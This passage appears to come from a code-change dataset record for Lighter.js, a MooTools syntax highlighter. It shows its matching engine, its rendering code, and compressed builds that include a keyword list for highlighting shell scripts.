* continuing beyond the end of that match to prevent parser from adding inner matches.\n\t\t */\n\t\twhile(startIndex < code.length) {\n\t\t\tmatchIndex = code.length;\n\t\t\tmatch      = null;\n\t\t\t\n\t\t\t// Apply each rule at the current startIndex.\n\t\t\tfor (rule in rules) {\n\t\t\t\trules[rule].pattern.lastIndex = startIndex;\n\t\t\t\tcurrentMatch = rules[rule].pattern.exec(code);\n\t\t\t\tif (currentMatch === null) {\n\t\t\t\t\t// Delete rule if there's no matches.\n\t\t\t\t\tdelete rules[rule];\n\t\t\t\t} else {\n\t\t\t\t\t// Find earliest and longest match, then store relevant info.\n\t\t\t\t\tif (currentMatch.index < matchIndex || (currentMatch.index == matchIndex && match[0].length < currentMatch[0].length)) {\n\t\t\t\t\t\tmatch      = currentMatch;\n\t\t\t\t\t\ttype       = rule;\n\t\t\t\t\t\tmatchIndex = currentMatch.index;\n\t\t\t\t\t}\n\t\t\t\t\t// Store index of rules' next match in nextIndex property.\n\t\t\t\t\trules[rule].nextIndex = rules[rule].pattern.lastIndex - currentMatch[0].length;\n\t\t\t\t}\n\t\t\t}\n\t\t\t/* Create a new Wick out of found match. Otherwise break out of loop since no\n\t\t\t   matches are left. */\n\t\t\tif (match != null) {\n\t\t\t\n\t\t\t\t// If $1 capture group exists, use $1 instead of full match.\n\t\t\t\tindex = (match[1] && match[0].contains(match[1])) ? match.index + match[0].indexOf(match[1]) : match.index;\n\t\t\t\tnewWick = new Wick(match[1] || match[0], type, index+offset);\n\t\t\t\twicks.push(newWick);\n\t\t\t\t\n\t\t\t\t/* Find the next match of current rule and store its index. If not done, the nextIndex\n\t\t\t\t   would be at the start of current match, thus creating an infinite loop*/\n\t\t\t\tfutureMatch = rules[type].pattern.exec(code);\n\t\t\t\tif (!futureMatch) {\n\t\t\t\t\trules[type].nextIndex = code.length;\n\t\t\t\t} else {\n\t\t\t\t\trules[type].nextIndex = rules[type].pattern.lastIndex - futureMatch[0].length;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Cycle through \"nextIndex\" properties and store earliest position in min variable.\n\t\t\t\tvar min = code.length;\n\t\t\t\tfor (rule in rules) {\n\t\t\t\t\tif (rules[rule].nextIndex < min) {\n\t\t\t\t\t\tmin = rules[rule].nextIndex;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/* Set startIndex to the end of current match if min is located behind it. Normally this\n\t\t\t\t   would signal an inner match. Future upgrades should do this test in the min loop\n\t\t\t\t   in order to find the actual earliest match. */\n\t\t\t\tstartIndex = Math.max(min, newWick.end - offset);\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn wicks;\n\t},\n\t/* Brute force the matches by finding all possible matches from all rules. Then we sort them\n\t   and cycle through the matches finding and eliminating inner matches. Faster than findMatches,\n\t   but less robust and prone to erroneous matches. */\n\tfindMatchesLazy: function(code, offset) {\n\t\tvar wicks = this.wicks,\n\t\t    match = null\n\t\t    index = 0;\n\t\t\n\t\toffset = offset || 0;\n\t\t\n\t\tthis.rules.each(function(regex, rule) {\n\t\t\twhile ((match = regex.exec(code)) != null) {\n\t\t\t\tindex = (match[1] && match[0].contains(match[1])) ? match.index + match[0].indexOf(match[1]) : match.index;\n\t\t\t\twicks.push(new Wick(match[1] || match[0], rule, index + offset));\n\t\t\t}\n\t\t}, this);\n\t\treturn this.purgeWicks(wicks);\n\t},\n\tpurgeWicks: function(wicks) {\n\t\twicks = wicks.sort(this.compareWicks);\n\t\tfor (var i = 0, j = 0; i < wicks.length; i++) {\n\t\t\tif (wicks[i] == null) continue;\n\t\t\tfor (j = i+1; j < wicks.length && wicks[i] != null; j++) {\n\t\t\t\tif      (wicks[j] == null)            {continue;}\n\t\t\t\telse if (wicks[j].isBeyond(wicks[i])) {break;}\n\t\t\t\telse if (wicks[j].overlaps(wicks[i])) {wicks[i] = null;}\n\t\t\t\telse if (wicks[i].contains(wicks[j])) {wicks[j] = null;}\n\t\t\t}\n\t\t}\n\t\treturn wicks.clean();\n\t},\n\tcompareWicks: function(wick1, wick2) {return wick1.index - wick2.index;}\n});\n\nFuel.standard = new Class({ Extends: Fuel, initialize: function(code, options, wicks) { this.parent(code, options, wicks); } });\n\nvar Wick = new Class({\n\n\tinitialize: function(match, type, index) {\n\t\tthis.text   = match;\n\t\tthis.type   = type;\n\t\tthis.index  = index;\n\t\tthis.length = this.text.length;\n\t\tthis.end    = this.index + this.length;\n\t},\n\tcontains: function(wick) { return (wick.index >= this.index && wick.index < this.end); },\n\tisBeyond: function(wick) { return (this.index >= wick.end); },\n\toverlaps: function(wick) { return (this.index == wick.index && this.length > wick.length); },\n\ttoString: function() { return this.index+' - '+this.text+' - '+this.end; }\n});\n", "Source/Lighter.js": "/*\n---\ndescription: Builds and displays an element containing highlighted code bits.\n\nlicense: MIT-style\n\nauthors:\n- Jose Prado\n\nrequires:\n  core/1.2.4: '*'\n\nprovides: [Lighter]\n\n...\n*/\n(function() {\n\tLighter = new Class({\t\n\t\t\n\t\tImplements: [Options],\n\t\tname: 'Lighter',\n\t\t\n\t\toptions: {\n\t\t\taltLines: '', // Pseudo-selector enabled.\n\t\t\tclipboard: null,\n\t\t\tcontainer: null,\n\t\t\teditable: false,\n\t\t\tflame: 'standard',\n\t\t\tfuel:  'standard',\n\t\t\tid: null,\n\t\t\tindent: -1,\n\t\t\tmatchType: \"standard\",\n\t\t\tmode: \"pre\",\n\t\t\tpath: null,\n\t\t\tstrict: false\n\t\t},\n\t\n\t\tinitialize: function(codeblock, options) {\n\t\t\tthis.setOptions(options);\n\t\t\tthis.id = this.options.id || this.name + '_' + $time();\n\t\t\tthis.codeblock = $(codeblock);\n\t\t\tthis.container = $(this.options.container);\n\t\t\tthis.code = chop(this.codeblock.get('html')).replace(/&lt;/gim, '<').replace(/&gt;/gim, '>').replace(/&amp;/gim, '&');\n\t\t\n\t\t\t// Indent code if user option is set.\n\t\t\tif (this.options.indent > -1) { this.code = tabToSpaces(this.code, this.options.indent); }\n\t\t\n\t\t\t// Figure out path based on script location of Lighter.js or option passed in.\n\t\t\tthis.getPath();\n\t\t\t\n\t\t\t// Extract fuel/flame names. Precedence: className > options > 'standard'.\n\t\t\tthis.getClass();\n\t\t\t\n\t\t\t// Set builder options.\n\t\t\tthis.builder = new Hash({\n\t\t\t\t'inline': this.createLighter.pass('code', this),\n\t\t\t\t'pre':    this.createLighter.pass('pre', this),\n\t\t\t\t'ol':     this.createLighterWithLines.pass([['ol'], ['li']], this),\n\t\t\t\t'div':    this.createLighterWithLines.pass([['div'], ['div', 'span'], true, 'span'], this),\n\t\t\t\t'table':  this.createLighterWithLines.pass([['table', 'tbody'], ['tr', 'td'], true, 'td'], this)\n\t\t\t});\n\t\t\n\t\t\t// Initialize caches\n\t\t\tLighter.scripts     = Lighter.scripts || {};\n\t\t\tLighter.stylesheets = Lighter.stylesheets || {};\n\t\t\n\t\t\t// Load fuel/flame to start chain of loads.\n\t\t\tthis.loadStylesheet(this.options.flame, 'Flame.'+this.options.flame+'.css');\n\t\t\tthis.loadFuel();\n\t\t},\n\t\t\n\t\tloadFuel: function() {\n\t\t\ttry {\n\t\t\t\tthis.fuel = new Fuel[this.options.fuel](this.code, {\n\t\t\t\t\tmatchType: this.options.matchType,\n\t\t\t\t\tstrict: this.options.strict\n\t\t\t\t});\n\t\t\t\tthis.light();\n\t\t\t} catch (e) {\n\t\t\t\tthis.loadScript(this.options.fuel, 'Fuel.'+this.options.fuel+'.js', {\n\t\t\t\t\t'load': this.loadFuel.bind(this),\n\t\t\t\t\t'error': function() { this.options.fuel = 'standard'; this.loadFuel(); }.bind(this)\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\t\t\n\t\tlight: function() {\n\t\t\t// Build highlighted code object.\n\t\t\tthis.element = this.toElement();\n\t\t\n\t\t\t// Insert lighter in the right spot.\n\t\t\tif (this.container) {\n\t\t\t\tthis.container.empty();\n\t\t\t\tthis.element.inject(this.container);\n\t\t\t} else {\n\t\t\t\tthis.codeblock.setStyle('display', 'none');\n\t\t\t\tthis.element.inject(this.codeblock, 'after');\n\t\t\t\tif (this.options.clipboard) { this.loadClipboard(); }\n\t\t\t}\n\t\t},\n\t\t\n\t\tunlight: function() {\n\t\t\t$(this).setStyle('display', 'none');\n\t\t\tthis.codeblock.setStyle('display', 'inherit');\n\t\t},\n\t\t\n\t\tloadClipboard: function() {\n\t\t\ttry {\n\t\t\t\tvar clip = new ZeroClipboard.Client();\n\t\t\t\tclip.setPath(this.options.path);\n\t\t\t\tclip.glue($(this.options.clipboard));\n\t\t\t\tclip.setText(this.code);\n\t\t\t\tclip.addEventListener('complete', function(client, text) {\n\t\t        alert(\"Copied text to clipboard:\\n\" + text);\n\t\t    });\n\t\t\t} catch (e) {\n\t\t\t\tthis.loadScript('clipboard', 'ZeroClipboard.js', {\n\t\t\t\t\t'load': this.loadClipboard.bind(this),\n\t\t\t\t\t'error': $empty\n\t\t\t\t});\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\t\n\t\t/* ----------------------------------- */\n\t\t/* ---->>> INIT HELPER METHODS <<<---- */\n\t\t/* ----------------------------------- */\n\t\tgetPath: function() {\n\t\t  if (!$chk(Lighter.path)) {\n\t\t      $$('head script').each(function(el) {\n\t\t          var script  = el.src.split('?', 1),\n\t\t              pattern = /Lighter(\\.full|\\.lite)?\\.js$/gi;\n\t\t          if (script[0].match(pattern)) {\n\t\t              Lighter.path = script[0].replace(pattern, '');\n\t\t          }\n\t\t      })\n\t\t  }\n\t\t  if (!this.options.path) { this.options.path = Lighter.path; }\n\t\t},\n\t\t\n\t\tgetClass: function() {\n            var classNames = this.codeblock.get('class').split(' '),\n                ff = [null, null];\n            switch (classNames.length) {\n                case 0: // No language! Simply wrap in Lighter.js standard Fuel/Flame.\n\t\t\t\t\tbreak;\n\t\t\t\tcase 1: // Single class, assume this is the fuel/flame\n\t\t\t\t\tff = classNames[0].split(':');\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: // More than one class, let's give the first one priority for now.\n\t\t\t\t\tff = classNames[0].split(':');\n            }\n            \n            if (ff[0]) { this.options.fuel  = ff[0]; }\n            if (ff[1]) { this.options.flame = ff[1]; }\n\t\t},\n\t\t\n\t\tloadScript: function(holder, fileName, events) {\n\t\t\tif ($chk(Lighter.scripts[holder])) {\n\t\t\t\tLighter.scripts[holder].addEvents({\n\t\t\t\t\tload: events.load,\n\t\t\t\t\terror: events.error,\n\t\t\t\t\treadystatechange: function() {\n\t\t\t\t\t\tif (['loaded', 'complete'].contains(this.readyState)) events.load();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tLighter.scripts[holder] = new Element('script', {\n\t\t\t\t\t'src': this.options.path+fileName+'?'+$time(),\n\t\t\t\t\t'type': 'text/javascript',\n\t\t\t\t\t'events': {\n\t\t\t\t\t\tload: events.load,\n\t\t\t\t\t\terror: events.error,\n\t\t\t\t\t\treadystatechange: function() {\n\t\t\t\t\t\t\tif (['loaded', 'complete'].contains(this.readyState)) events.load();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}).inject(document.head);\n\t\t\t}\n\t\t},\n\t\t\n\t\tloadStylesheet: function(holder, fileName) {\n\t\t\tif (!$chk(Lighter.stylesheets[holder])) {\n\t\t\t\tLighter.stylesheets[holder] = new Element('link', {\n\t\t\t\t\trel: \"stylesheet\",\n\t\t\t\t\ttype: \"text/css\",\n\t\t\t\t\tmedia: \"screen\",\n\t\t\t\t\thref: this.options.path+fileName+'?'+$time()\n\t\t\t\t}).inject(document.head);\n\t\t\t}\n\t\t},\n\t\t\n\t\t/* ----------------------------------- */\n\t\t/* -->>> ELEMENT CREATE METHODS <<<--- */\n\t\t/* ----------------------------------- */\n\t\tcreateLighter: function(parent) {\n\t\t\tvar lighter = new Element(parent, { 'class': this.options.flame + this.name }),\n\t\t\t    pointer = 0;\n\t\t    \n\t\t\t// If no matches were found, insert code plain text.\n\t\t\tif (!$defined(this.fuel.wicks[0])) {\n\t\t\t\tlighter.appendText(this.code);\n\t\t\t} else {\n\t\t\n\t\t\t\t// Step through each match and add unmatched + matched bits to lighter.\n\t\t\t\tthis.fuel.wicks.each(function(match) {\n\t\t\t\t\tlighter.appendText(this.code.substring(pointer, match.index));\n\t\t\t\t\n\t\t\t\t\tthis.insertAndKeepEl(lighter, match.text, match.type);\n\t\t\t\t\tpointer = match.index + match.text.length;\n\t\t\t\t}, this);\n\t\t\t\n\t\t\t\t// Add last unmatched code segment if it exists.\n\t\t\t\tif (pointer < this.code.length) {\n\t\t\t\t\tlighter.appendText(this.code.substring(pointer, this.code.length));\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t//lighter.set('text', lighter.get('html'));\n\t\t\treturn lighter;\n\t\t},\n\t\t\n\t\tcreateLighterWithLines: function(parent, child, addLines, numType) {\n\t\t\tvar lighter = new Element(parent[0], { 'class': this.options.flame + this.name, 'id': this.id }),\n\t\t\t    newLine = new Element(child[0]),\n\t\t\t    lineNum = 1,\n\t\t\t    pointer = 0,\n\t\t\t    text = null;\n\t\t\n\t\t\t// Small hack to ensure tables have no ugly styles.\n\t\t\tif (parent[0] == \"table\") { lighter.set(\"cellpadding\", 0).set(\"cellspacing\", 0).set(\"border\", 0); }\n\t\t\n\t\t\t/* If lines need to be wrapped in an inner parent, create that element\n\t\t\t   with this test. (E.g, tbody in a table) */\n\t\t\tif (parent[1]) { lighter = new Element(parent[1]).inject(lighter); }\n\t\t\n\t\t\t/* If code needs to be wrapped in an inner child, create that element\n\t\t\t   with this test. (E.g, tr to contain td) */\n\t\t\tif (child[1]) { newLine = new Element(child[1]).inject(newLine); }\n\t\t\tnewLine.addClass(this.options.flame + 'line');\n\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\n\t\t\t// Step through each match and add matched/unmatched bits to lighter.\n\t\t\tthis.fuel.wicks.each(function(match) {\n\t\t\n\t\t\t\t// Create and insert un-matched source code bits.\n\t\t\t\tif (pointer != match.index) {\n\t\t\t\t\ttext = this.code.substring(pointer, match.index).split(\"\\n\");\n\t\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\t\tif (i < text.length - 1) {\n\t\t\t\t\t\t\tif (text[i] === '') { text[i] = ' '; }\n\t\t\t\t\t\t\tnewLine = this.insertAndMakeEl(newLine, lighter, text[i], child);\n\t\t\t\t\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tthis.insertAndKeepEl(newLine, text[i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\t// Create and insert matched symbol.\n\t\t\t\ttext = match.text.split('\\n');\n\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\tif (i < text.length - 1) {\n\t\t\t\t\t\tnewLine = this.insertAndMakeEl(newLine, lighter, text[i], child, match.type);\n\t\t\t\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthis.insertAndKeepEl(newLine, text[i], match.type);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\tpointer = match.end;\n\t\t\t}, this);\n\t\t\n\t\t\t// Add last unmatched code segment if it exists.\n\t\t\tif (pointer <= this.code.length) {\n\t\t\t\ttext = this.code.substring(pointer, this.code.length).split('\\n');\n\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\tnewLine = this.insertAndMakeEl(newLine, lighter, text[i], child);\n\t\t\t\t\tif (addLines) { lineNum = this.insertLineNum(newLine, lineNum, numType); }\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Add alternate line styles based on pseudo-selector.\n\t\t\tif (this.options.altLines !== '') {\n\t\t\t\tif (this.options.altLines == 'hover') {\n\t\t\t\t\tlighter.getElements('.'+this.options.flame+'line').addEvents({\n\t\t\t\t\t\t\t'mouseover': function() {this.toggleClass('alt');},\n\t\t\t\t\t\t\t'mouseout':  function() {this.toggleClass('alt');}\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\tif (child[1]) {\n\t\t\t\t\t\tlighter.getChildren(':'+this.options.altLines).getElement('.'+this.options.flame+'line').addClass('alt');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlighter.getChildren(':'+this.options.altLines).addClass('alt');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Add first/last line classes to correct element based on mode.\n\t\t\tif (child[1]) {\n\t\t\t\tlighter.getFirst().getChildren().addClass(this.options.flame+'first');\n\t\t\t\tlighter.getLast().getChildren().addClass(this.options.flame+'last');\n\t\t\t} else {\n\t\t\t\tlighter.getFirst().addClass(this.options.flame+'first');\n\t\t\t\tlighter.getLast().addClass(this.options.flame+'last');\n\t\t\t}\n\t\t\n\t\t\t// Ensure we return the real parent, not just an inner element like a tbody.\n\t\t\tif (parent[1]) { lighter = lighter.getParent(); }\n\t\t\treturn lighter;\n\t\t},\n\t\t\n\t\t/** Helper function to insert new code segment into existing line. */\n\t\tinsertAndKeepEl: function(el, text, alias) {\n\t\t\tif (text.length > 0) {\n\t\t\t\tvar span = new Element('span', { 'text': text });\n\t\t\t\tif (alias) {\n\t\t\t\t\tspan.addClass(this.fuel.aliases[alias] || alias);\n\t\t\t\t}\n\t\t\t\tspan.inject(el);\n\t\t\t}\n\t\t},\n\t\t\n\t\t/** Helper function to insert new code segment into existing line and create new line. */\n\t\tinsertAndMakeEl: function(el, group, text, child, alias) {\n\t\t\tthis.insertAndKeepEl(el, text, alias);\n\t\t\tif (child[1]) { el = el.getParent(); }\n\t\t\tel.inject(group);\n\t\t\n\t\t\tvar newLine = new Element(child[0]);\n\t\t\tif (child[1]) { newLine = new Element(child[1]).inject(newLine); }\n\t\t\tnewLine.addClass(this.options.flame+'line');\n\t\t\treturn newLine;\n\t\t},\n\t\t\n\t\t/** Helper funciton to insert line number into line. */\n\t\tinsertLineNum: function(el, lineNum, elType) {\n\t\t\tvar newNum = new Element(elType, {\n\t\t\t\t'text':  lineNum++,\n\t\t\t\t'class': this.options.flame+ 'num'\n\t\t\t});\n\t\t\tnewNum.inject(el.getParent(), 'top');\n\t\t\n\t\t\treturn lineNum;\n\t\t},\n\t\n\t\t/* ----------------------------------- */\n\t\t/* ------>>> toType METHODS <<<------- */\n\t\t/* ----------------------------------- */\n\t\ttoElement: function() {\n\t\t\tif (!this.element) {\n\t\t\t\tthis.element = this.builder[this.options.mode]();\n\t\t\t\tif (this.options.editable) { this.element.set('contenteditable', 'true'); }\n\t\t\t}\n\t\t\n\t\t\treturn this.element;\n\t\t},\n\t\t\n\t\ttoString: function() {\n\t\t\treturn this.code;\n\t\t}\n\t\t\n\t});\n\n\t/** Element Native extensions */\n\tElement.implement({ light: function(options){ return new Lighter(this, options); } });\n\n\t/** String functions */\n\tfunction chop(str) { return str.replace(/(^\\s*\\n|\\n\\s*$)/gi, ''); }\t\n\tfunction tabToSpaces(str, spaces) {\n\t\tfor (var i = 0, indent = ''; i < spaces; i++) { indent += ' '; }\n\t\treturn str.replace(/\\t/g, indent);\n\t}\n\t\n})();"}, "files_after": {"Compressed/Fuel.shell.js": "Fuel.shell=new Class({Extends:Fuel,language:\"shell\",initialize:function(a,b){this.keywords=new Hash({keywords:{csv:\"if, fi, then, elif, else, for, do, done, until, while, break, continue, case, function, return, in, eq, ne, gt, lt, ge, le\",alias:\"kw0\"},commands:{csv:\"alias, apropos, awk, bash, bc, bg, builtin, bzip2, cal, cat, cd, cfdisk, chgrp, chmod, chown, chrootcksum, clear, cmp, comm, command, cp, cron, crontab, csplit, cut, date, dc, dd, ddrescue, declare, df, diff, diff3, dig, dir, dircolors, dirname, dirs, du, echo, egrep, eject, enable, env, ethtool, eval, exec, exit, expand, export, expr, false, fdformat, fdisk, fg, fgrep, file, find, fmt, fold, format, free, fsck, ftp, gawk, getopts, grep, groups, gzip, hash, head, history, hostname, id, ifconfig, import, install, join, kill, less, let, ln, local, locate, logname, logout, look, lpc, lpr, lprint, lprintd, lprintq, lprm, ls, lsof, make, man, mkdir, mkfifo, mkisofs, mknod, more, mount, mtools, mv, netstat, nice, nl, nohup, nslookup, open, op, passwd, paste, pathchk, ping, popd, pr, printcap, printenv, printf, ps, pushd, pwd, quota, quotacheck, quotactl, ram, rcp, read, readonly, renice, remsync, rm, rmdir, rsync, screen, scp, sdiff, sed, select, seq, set, sftp, shift, shopt, shutdown, sleep, sort, source, split, ssh, strace, su, sudo, sum, symlink, sync, tail, tar, tee, test, time, times, touch, top, traceroute, trap, tr, true, tsort, tty, type, ulimit, umask, umount, unalias, uname, unexpand, uniq, units, unset, unshar, useradd, usermod, users, uuencode, uudecode, v, vdir, vi, watch, wc, whereis, which, who, whoami, wget, xargs, yes\",alias:\"kw1\"}}),this.patterns=new Hash({poundComments:{pattern:this.common.poundComments,alias:\"co1\"},strings:{pattern:this.common.strings,alias:\"st0\"}});this.parent(a,b)}});", "Compressed/Lighter.js": "(function(){Lighter=new Class({Implements:[Options],name:\"Lighter\",options:{altLines:\"\",clipboard:null,container:null,editable:false,flame:\"standard\",fuel:\"standard\",id:null,indent:-1,matchType:\"standard\",mode:\"pre\",path:null,strict:false},initialize:function(d,c){this.setOptions(c);this.id=this.options.id||this.name+\"_\"+Date.now();this.codeblock=$(d);this.container=$(this.options.container);this.code=a(this.codeblock.get(\"html\")).replace(/&lt;/gim,\"<\").replace(/&gt;/gim,\">\").replace(/&amp;/gim,\"&\");if(this.options.indent>-1){this.code=b(this.code,this.options.indent)}this.getPath();this.getClass();this.builder=new Hash({inline:this.createLighter.pass(\"code\",this),pre:this.createLighter.pass(\"pre\",this),ol:this.createLighterWithLines.pass([[\"ol\"],[\"li\"]],this),div:this.createLighterWithLines.pass([[\"div\"],[\"div\",\"span\"],true,\"span\"],this),table:this.createLighterWithLines.pass([[\"table\",\"tbody\"],[\"tr\",\"td\"],true,\"td\"],this)});Lighter.scripts=Lighter.scripts||{};Lighter.stylesheets=Lighter.stylesheets||{};this.loadStylesheet(this.options.flame,\"Flame.\"+this.options.flame+\".css\");this.loadFuel()},loadFuel:function(){try{this.fuel=new Fuel[this.options.fuel](this.code,{matchType:this.options.matchType,strict:this.options.strict});this.light()}catch(c){this.loadScript(this.options.fuel,\"Fuel.\"+this.options.fuel+\".js\",{load:this.loadFuel.bind(this),error:function(){this.options.fuel=\"standard\";this.loadFuel()}.bind(this)})}},light:function(){this.element=this.toElement();if(this.container){this.container.empty();this.element.inject(this.container)}else{this.codeblock.setStyle(\"display\",\"none\");this.element.inject(this.codeblock,\"after\");if(this.options.clipboard){this.loadClipboard()}}},unlight:function(){$(this).setStyle(\"display\",\"none\");this.codeblock.setStyle(\"display\",\"inherit\")},loadClipboard:function(){try{var c=new ZeroClipboard.Client();c.setPath(this.options.path);c.glue($(this.options.clipboard));c.setText(this.code);c.addEventListener(\"complete\",function(e,f){alert(\"Copied text to clipboard:\\n\"+f)})}catch(d){this.loadScript(\"clipboard\",\"ZeroClipboard.js\",{load:this.loadClipboard.bind(this),error:Function.from()});return false}},getPath:function(){if(!Lighter.path){$$(\"head script\").each(function(d){var c=d.src.split(\"?\",1),e=/Lighter(\\.full|\\.lite)?\\.js$/gi;if(c[0].match(e)){Lighter.path=c[0].replace(e,\"\")}})}if(!this.options.path){this.options.path=Lighter.path}},getClass:function(){var d=this.codeblock.get(\"class\").split(\" \"),c=[null,null];switch(d.length){case 0:break;case 1:c=d[0].split(\":\");break;default:c=d[0].split(\":\")}if(c[0]){this.options.fuel=c[0]}if(c[1]){this.options.flame=c[1]}},loadScript:function(d,e,c){if(Lighter.scripts[d]!=undefined){Lighter.scripts[d].addEvents({load:c.load,error:c.error,readystatechange:function(){if([\"loaded\",\"complete\"].contains(this.readyState)){c.load()}}})}else{Lighter.scripts[d]=new Element(\"script\",{src:this.options.path+e+\"?\"+Date.now(),type:\"text/javascript\",events:{load:c.load,error:c.error,readystatechange:function(){if([\"loaded\",\"complete\"].contains(this.readyState)){c.load()}}}}).inject(document.head)}},loadStylesheet:function(c,d){if(!Lighter.stylesheets[c]){Lighter.stylesheets[c]=new Element(\"link\",{rel:\"stylesheet\",type:\"text/css\",media:\"screen\",href:this.options.path+d+\"?\"+Date.now()}).inject(document.head)}},createLighter:function(d){var c=new Element(d,{\"class\":this.options.flame+this.name}),e=0;if(this.fuel.wicks[0]==undefined){c.appendText(this.code)}else{this.fuel.wicks.each(function(f){c.appendText(this.code.substring(e,f.index));this.insertAndKeepEl(c,f.text,f.type);e=f.index+f.text.length},this);if(e<this.code.length){c.appendText(this.code.substring(e,this.code.length))}}return c},createLighterWithLines:function(k,d,f,e){var m=new Element(k[0],{\"class\":this.options.flame+this.name,id:this.id}),j=new Element(d[0]),h=1,c=0,l=null;if(k[0]==\"table\"){m.set(\"cellpadding\",0).set(\"cellspacing\",0).set(\"border\",0)}if(k[1]){m=new Element(k[1]).inject(m)}if(d[1]){j=new Element(d[1]).inject(j)}j.addClass(this.options.flame+\"line\");if(f){h=this.insertLineNum(j,h,e)}this.fuel.wicks.each(function(n){if(c!=n.index){l=this.code.substring(c,n.index).split(\"\\n\");for(var o=0;o<l.length;o++){if(o<l.length-1){if(l[o]===\"\"){l[o]=\" \"}j=this.insertAndMakeEl(j,m,l[o],d);if(f){h=this.insertLineNum(j,h,e)}}else{this.insertAndKeepEl(j,l[o])}}}l=n.text.split(\"\\n\");for(var o=0;o<l.length;o++){if(o<l.length-1){j=this.insertAndMakeEl(j,m,l[o],d,n.type);if(f){h=this.insertLineNum(j,h,e)}}else{this.insertAndKeepEl(j,l[o],n.type)}}c=n.end},this);if(c<=this.code.length){l=this.code.substring(c,this.code.length).split(\"\\n\");for(var g=0;g<l.length;g++){j=this.insertAndMakeEl(j,m,l[g],d);if(f){h=this.insertLineNum(j,h,e)}}}if(this.options.altLines!==\"\"){if(this.options.altLines==\"hover\"){m.getElements(\".\"+this.options.flame+\"line\").addEvents({mouseover:function(){this.toggleClass(\"alt\")},mouseout:function(){this.toggleClass(\"alt\")}})}else{if(d[1]){m.getChildren(\":\"+this.options.altLines).getElement(\".\"+this.options.flame+\"line\").addClass(\"alt\")}else{m.getChildren(\":\"+this.options.altLines).addClass(\"alt\")}}}if(d[1]){m.getFirst().getChildren().addClass(this.options.flame+\"first\");m.getLast().getChildren().addClass(this.options.flame+\"last\")}else{m.getFirst().addClass(this.options.flame+\"first\");m.getLast().addClass(this.options.flame+\"last\")}if(k[1]){m=m.getParent()}return m},insertAndKeepEl:function(e,f,c){if(f.length>0){var d=new Element(\"span\",{text:f});if(c){d.addClass(this.fuel.aliases[c]||c)}d.inject(e)}},insertAndMakeEl:function(d,e,f,h,c){this.insertAndKeepEl(d,f,c);if(h[1]){d=d.getParent()}d.inject(e);var g=new Element(h[0]);if(h[1]){g=new Element(h[1]).inject(g)}g.addClass(this.options.flame+\"line\");return g},insertLineNum:function(d,f,c){var e=new Element(c,{text:f++,\"class\":this.options.flame+\"num\"});e.inject(d.getParent(),\"top\");return f},toElement:function(){if(!this.element){this.element=this.builder[this.options.mode]();if(this.options.editable){this.element.set(\"contenteditable\",\"true\")}}return this.element},toString:function(){return this.code}});Element.implement({light:function(c){return new Lighter(this,c)}});function a(c){return c.replace(/(^\\s*\\n|\\n\\s*$)/gi,\"\")}function b(f,d){for(var e=0,c=\"\";e<d;e++){c+=\" \"}return f.replace(/\\t/g,c)}})();var Fuel=new Class({Implements:[Options],options:{matchType:\"standard\",strict:false},language:\"\",patterns:new Hash(),keywords:new Hash(),delimiters:new Hash({start:null,end:null}),common:{slashComments:/(?:^|[^\\\\])\\/\\/.*$/gm,poundComments:/#.*$/gm,multiComments:/\\/\\*[\\s\\S]*?\\*\\//gm,aposStrings:/'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm,quotedStrings:/\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm,multiLineSingleQuotedStrings:/'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm,multiLineDoubleQuotedStrings:/\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm,multiLineStrings:/'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'|\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm,singleQuotedString:/'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'/gm,doubleQuotedString:/\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm,strings:/'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'|\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm,properties:/\\.([\\w]+)\\s*/gi,methodCalls:/\\.([\\w]+)\\s*\\(/gm,functionCalls:/\\b([\\w]+)\\s*\\(/gm,brackets:/\\{|\\}|\\(|\\)|\\[|\\]/g,numbers:/\\b((?:(\\d+)?\\.)?[0-9]+|0x[0-9A-F]+)\\b/gi},initialize:function(a,j,i){this.setOptions(j);this.wicks=i||[];this.code=a;this.aliases=$H();this.rules=$H();this.builder=new 